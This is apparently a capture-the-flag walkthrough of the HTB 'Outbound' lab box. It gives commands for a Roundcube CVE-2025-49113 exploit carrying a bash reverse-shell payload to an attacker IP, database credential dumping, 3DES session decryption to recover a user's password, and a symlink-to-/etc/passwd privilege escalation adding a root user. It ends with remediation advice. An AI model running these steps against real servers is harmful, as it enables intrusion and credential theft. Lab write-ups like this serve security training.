Outbound Walkthrough

Author: walkerffx **Box:** Outbound (mail.outbound.htb) — HTB lab **Date:** 2025

TL;DR

Gained initial access by exploiting **CVE-2025-49113** in Roundcube on `mail.outbound.htb` to obtain a `www-data` shell. From there, sensitive configuration files revealed database credentials which were used to extract and decrypt session data, recovering an SSH password for the user **jacob**. SSH to `jacob@10.10.11.77` gave a user shell, and privilege escalation was achieved by exploiting a vulnerable `sudo` entry for `/usr/bin/below` to create a fake root user and obtain root privileges. Root flag obtained.

Scope & Rules of Engagement

- Target: `mail.outbound.htb` (as provided by the HTB lab).
- Actions performed inside an authorized HTB environment for learning and writeup purposes.
- Reproducible steps, commands and tools are listed below. Use only in environments where you have explicit permission.

Lab setup (attacker)

- Attacker IP: `<your_ip>` (example: `10.10.14.24`)
- Listening port for reverse shells: `4444` (adjustable)
- Tools used (local): `nmap`, `nc` (netcat), `git`, `php`, `mysql` client, `cyberchef` (web), `linpeas.sh`, `ssh`.

Reconnaissance & Enumeration

1. Connect to HTB network (OpenVPN / HTB tunnel).
2. Port scan to discover services (example):

```
nmap -sC -sV -oA outbound_scan 10.10.11.77
```

1. Found open ports: `80` (http) and `22` (ssh). HTTP host mapped to `mail.outbound.htb` — add to `/etc/hosts`:

```
10.10.11.77    mail.outbound.htb
```

1. Visit web app in browser and identify Roundcube version. Note any provided credentials in the lab (e.g. `tyler:LhKL1o9Nm3X2`).

Exploitation — Roundcube (CVE-2025-49113)

Summary

Found a publicly available exploit for Roundcube version present on the box (CVE-2025-49113). The supplied exploit script can be used to trigger RCE and push a reverse shell back to attacker.

Example exploit usage (replace placeholders):

```
# clone exploit repo (lab-provided repository)
git clone https://github.com/fearsoff-org/CVE-2025-49113.git
cd CVE-2025-49113

# on attacker machine, start a listener
nc -nlvp 4444

# run exploit from attacker machine (PHP script in the repo)
php CVE-2025-49113.php http://mail.outbound.htb <username> <password> "bash -c 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1'"
```

Result: A reverse shell as `www-data` on the target.

> Note: Always ensure the listener is running and the IP/port in the payload match your host.

Post-Exploitation — Enumeration as www-data

1. Inspect webroot and Roundcube config directory (common paths):

```
# example locations
cd /var/www/html/roundcube || cd /var/www/roundcube
ls -la
cat config/config.inc.php
```

1. Found `config.inc.php` containing database connection details:
2. DB user: `roundcube`
3. DB pass: `RCDBPass2025`
4. DB name: `roundcube`
5. Connect to the database using provided credentials:

```
mysql -u roundcube -pRCDBPass2025 roundcube
# then
SHOW TABLES;
SELECT id, username FROM users;
SELECT user_id, session_data FROM sessions;
```

1. Noticed `session_data` fields stored as base64/encrypted blobs.

Decrypting Roundcube session entries

Background (non-technical)

Roundcube stores session data encrypted with a server-side key. If an attacker retrieves both the encrypted data and the server's encryption key (from `config.inc.php`), they can decrypt session blobs and recover sensitive values — possibly including passwords or credentials.

Steps (technical)

1. Use the `rcmail-...` key found in `config.inc.php` (example: `rcmail-!24ByteDESkey*Str`).
2. The session field is base64; decode to hex and extract the IV (first 8 bytes for 3DES-CBC), and use the remainder as ciphertext.
3. Use CyberChef or an offline script to decrypt using `DES-EDE3-CBC` with the key and IV.

Example approach using CyberChef:

- Operation: `From Base64` → `To Hex` (or `Y64` variation if needed), split out first 8 bytes as IV, decrypt using `Triple DES (DES-EDE3-CBC)` with key from config and that IV.

Result: recovered plaintext password for user **jacob** (stored in his session or mail content).

Gaining user access (jacob)

1. Switch user or SSH using recovered credentials:

```
# on foothold system (or from attacker machine):
ssh jacob@10.10.11.77
# use recovered password from session decryption
```

1. After SSH login, check home directory `/home/jacob` for files; found `mail_mel_to_jacob.txt` or similar with credentials and the user flag.

Privilege Escalation to root — abusing /usr/bin/below

Summary

`sudo -l` for `jacob` showed ability to run `/usr/bin/below` without password. The `below` binary is vulnerable — when it runs it writes to `/var/log/below/error_jacob.log`. By replacing that log with a symlink to `/etc/passwd` and writing a crafted passwd line, we can add a user with root-equivalent UID and login shell.

Exploit concept (high-level)

1. Create a fake passwd entry for a new user (e.g. `tolu`) and save to `fakepass`.
2. Remove or move the original error log file and create a symlink from the expected error log to `/etc/passwd`.
3. Trigger `/usr/bin/below` via sudo so that it writes the error data into the symlink target (now `/etc/passwd`).
4. The system `passwd` file now contains the new user; `su tolu` gains a root UID shell.

Example commands (performed as jacob):

```
# prepare fake passwd entry (note: line must match passwd format)
echo 'tolu:x:0:0:root:/root:/bin/bash' > /tmp/fakepass

# remove and symlink the expected error log to /etc/passwd
sudo rm -f /var/log/below/error_jacob.log
sudo ln -s /etc/passwd /var/log/below/error_jacob.log

# trigger the below binary (runs as root)
sudo /usr/bin/below || true

# copy fake content into the log path (which points to /etc/passwd) - method
may vary depending on timing
sudo cp /tmp/fakepass /var/log/below/error_jacob.log

# attempt to switch to the fake user\nsu tolu

# once switched, you are root; find root flag
cat /root/root.txt
```

> **Note:** The real exploitation might require timing (race) or specific write ordering depending on how `below` operates. The above shows the conceptual sequence used successfully on this box.

Non-Technical Explanation (for non-technical readers)

- **What happened?**: We used a known bug in the webmail system (Roundcube) to run commands on the server. That gave access to files that included the database password. From the database, we found session information that — when decoded with a secret key — revealed another user's

password. With that password we logged in via SSH as that user. Finally, because one program on the system had unsafe permissions, we were able to trick the system into adding us as a root-level user and take full control.

- **Why it matters:** Exposed secrets (config files, weak file protections, and permissive `sudo` rules) allow attackers to move from a low-privileged web account to full control of a server.

Remediation & Mitigations

1. **Patch Roundcube** to a version that fixes CVE-2025-49113.
2. **Rotate secrets** (database passwords, encryption keys) after a breach or vulnerability disclosure.
3. **Avoid storing sensitive keys in plain config files** or ensure config files are only readable by necessary accounts.
4. **Harden sudoers**: restrict `sudo` to minimal required commands; avoid allowing arbitrary binaries or scripts to run as root.
5. **Protect log files**: ensure log directories are owned by privileged accounts and not replaceable by non-privileged users.
6. **Monitor file integrity** and use tools like `auditd` to detect suspicious symlink or passwd changes.
7. **Use least privilege** and remove setuid root or world-writable locations that an attacker can influence.

Tools & Commands (quick reference)

- Recon: `nmap -sC -sV -oA outbound_scan 10.10.11.77`
- Exploit Roundcube (example):

```
nc -nlvp 4444
php CVE-2025-49113.php http://mail.outbound.htb <user> <pass> "bash -c 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1'"
```

- Database access (example):

```
mysql -u roundcube -p'RCDBPass2025' roundcube
SHOW TABLES;
SELECT session_id, session_data FROM session;
```

- Decrypt sessions: use CyberChef (From Base64 → To Hex → split IV → Triple DES decrypt) or write an offline script using OpenSSL / Python Crypto.

- Privilege escalation (conceptual commands shown earlier).

Appendix — Useful snippets

Example: extracting IV and ciphertext (bash + xxd conversion)

```
# assuming $b64 is the base64 session value
echo "$b64" | base64 -d | xxd -p -c 256 > session.hex
# IV is first 16 hex chars (8 bytes)
IV=$(cut -c1-16 session.hex)
CT=$(cut -c17-9999 session.hex)
```

Example: decrypt with OpenSSL (if key and IV properly formatted)

```
# save key as key.bin (24 bytes for 3DES), iv as iv.bin (8 bytes), ciphertext
as ct.bin
openssl enc -des-ede3-cbc -d -K $(xxd -p key.bin) -iv $(xxd -p iv.bin) -in
ct.bin -out plaintext.txt
```

Appendix — Privilege escalation reference

Step 3: Research on “below" Googling led me to this repo: 👉Linux-Privilege-Escalation-CVE-2025–27591

Step 4: Exploit Running the PoC exploit:

```
python3 dbs_exploit.py
```

Boom — we get a root shell and can read root.txt.

🌬️ Conclusion Foothold: Roundcube 1.6.10 RCE (CVE-2025–49113) Lateral Movement: MySQL loot → decrypt 3DES password → Jacob’s webmail → SSH creds Privilege Escalation: Abused below binary (CVE-2025-27591) Flags: user.txt (Jacob) root.txt (Root after exploit)
